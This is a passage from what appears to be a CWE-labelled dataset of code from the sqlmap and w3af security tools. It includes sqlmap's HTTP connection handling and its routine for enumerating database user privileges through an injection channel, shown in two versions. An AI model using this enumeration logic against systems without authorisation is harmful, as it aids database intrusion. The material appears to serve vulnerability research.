                            threadData.lastRequestMsg = requestMsg

                            logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                        def _read(count=None):
                            offset = conn._read_offset
                            if count is None:
                                result = conn._read_buffer[offset:]
                                conn._read_offset = len(conn._read_buffer)
                            else:
                                result = conn._read_buffer[offset: offset + count]
                                conn._read_offset += len(result)
                            return result

                        conn.read = _read
                else:
                    if not multipart:
                        threadData.lastRequestMsg = requestMsg

                        logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                    conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if getattr(conn, ""redurl"", None) is not None:
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn, ""fp"") and hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/targetSettings.py,0,"def getOptions( self ):
        '''
        @return: A list of option objects for this plugin.
        '''        
        d1 = 'A comma separated list of URLs'
        o1 = option('target', ','.join(cf.cf.getData('targets')), d1, 'list')
        
        d2 = 'Target operating system.'
        h2 = 'This setting is here to enhance w3af performance.'
        # This list ""hack"" has to be done becase the default value is the one
        # in the first position on the list
        tmpList = self._operatingSystems[:]
        tmpList.remove( cf.cf.getData('targetOS') )
        tmpList.insert(0, cf.cf.getData('targetOS') )
        o2 = comboOption('targetOS', tmpList, d2, 'combo', help=h2)

        d3 = 'Target programming framework.'
        h3 = 'This setting is here to enhance w3af performance.'
        # This list ""hack"" has to be done becase the default value is the one
        # in the first position on the list
        tmpList = self._programmingFrameworks[:]
        tmpList.remove( cf.cf.getData('targetFramework') )
        tmpList.insert(0, cf.cf.getData('targetFramework') )
        o3 = comboOption('targetFramework', tmpList, d3, 'combo', help=h3)
        
        ol = optionList()
        ol.add(o1)
        ol.add(o2)
        ol.add(o3)
        return ol",,andresriancho/w3af,8738fc6f2b9e3aa7e5a1478f0cc34f785d53a20e,"def getOptions( self ):
        '''
        @return: A list of option objects for this plugin.
        '''        
        d1 = 'A comma separated list of URLs'
        o1 = option('target', ','.join(cf.cf.getData('targets')), d1, 'list')
        
        d2 = 'Target operating system.'
        h2 = 'This setting is here to enhance w3af performance.'
        o2 = comboOption('targetOS', self._operatingSystems, d2, 'combo', help=h2)

        d3 = 'Target programming framework.'
        h3 = 'This setting is here to enhance w3af performance.'
        o3 = comboOption('targetFramework', self._programmingFrameworks, d3, 'combo', help=h3)
        
        ol = optionList()
        ol.add(o1)
        ol.add(o2)
        ol.add(o3)
        return ol"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/users.py,0,"def getPrivileges(self, query2=False):
        infoMsg = ""fetching database users privileges""

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == ""CU"":
            infoMsg += "" for current user""
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += "" WHERE ""

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += "" OR "".join(""%s LIKE '%%%s%%'"" % (condition, user) for user in sorted(users))
                else:
                    query += "" OR "".join(""%s = '%s'"" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = ""trying with table USER_SYS_PRIVS""
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value or [])):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            if privilege is None:
                                continue

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == ""Y"":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In Firebird we get one letter for each privilege
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                if privilege.strip() in FIREBIRD_PRIVS:
                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(',')
                                privilege = privs[0]
                                if len(privs) > 1:
                                    privs = privs[1]
                                    privs = list(privs.strip())
                                    i = 1

                                    for priv in privs:
                                        if priv.upper() in (""Y"", ""G""):
                                            for position, db2Priv in DB2_PRIVS.items():
                                                if position == i:
                                                    privilege += "", "" + db2Priv

                                        i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = ""LIKE""
            else:
                conditionChar = ""=""

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = ""%%%s%%"" % user

                if Backend.isDbms(DBMS.INFORMIX):
                    count = 1
                else:
                    infoMsg = ""fetching number of privileges ""
                    infoMsg += ""for user '%s'"" % outuser
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.count2 % user
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.count % (conditionChar, user)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
                            infoMsg = ""trying with table USER_SYS_PRIVS""
                            logger.info(infoMsg)

                            return self.getPrivileges(query2=True)

                        warnMsg = ""unable to retrieve the number of ""
                        warnMsg += ""privileges for user '%s'"" % outuser
                        logger.warn(warnMsg)
                        continue

                infoMsg = ""fetching privileges for user '%s'"" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (user,)
                    else:
                        query = rootQuery.blind.query % (user, index)

                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if privilege is None:
                        continue

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and "", "" in privilege:
                        privilege = privilege.replace("", "", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace("", "", ',')
                        privs = privilege.split(',')
                        i = 1

                        for priv in privs:
                            if priv.upper() == 'Y':
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In Informix we get one letter for the highest privilege
                    elif Backend.isDbms(DBMS.INFORMIX):
                        privileges.add(INFORMIX_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(',')
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ('Y', 'G'):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += "", "" + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = ""unable to retrieve the privileges ""
                    warnMsg += ""for user '%s'"" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = ""unable to retrieve the privileges ""
            errMsg += ""for the database users""
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)",,sqlmapproject/sqlmap,ba369b73d3aac831c64640ddf5e23469b85c2dee,"def getPrivileges(self, query2=False):
        infoMsg = ""fetching database users privileges""

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == ""CU"":
            infoMsg += "" for current user""
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(',')

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += "" WHERE ""

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += "" OR "".join(""%s LIKE '%%%s%%'"" % (condition, user) for user in sorted(users))
                else:
                    query += "" OR "".join(""%s = '%s'"" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = ""trying with table USER_SYS_PRIVS""
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            if privilege is None:
                                continue

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == ""Y"":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In Firebird we get one letter for each privilege
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                if privilege.strip() in FIREBIRD_PRIVS:
                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(',')
                                privilege = privs[0]
                                if len(privs) > 1:
                                    privs = privs[1]
                                    privs = list(privs.strip())
                                    i = 1

                                    for priv in privs:
                                        if priv.upper() in (""Y"", ""G""):
                                            for position, db2Priv in DB2_PRIVS.items():
                                                if position == i:
                                                    privilege += "", "" + db2Priv

                                        i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = ""LIKE""
            else:
                conditionChar = ""=""

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = ""%%%s%%"" % user

                if Backend.isDbms(DBMS.INFORMIX):
                    count = 1
                else:
                    infoMsg = ""fetching number of privileges ""
                    infoMsg += ""for user '%s'"" % outuser
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.count2 % user
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.count % (conditionChar, user)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

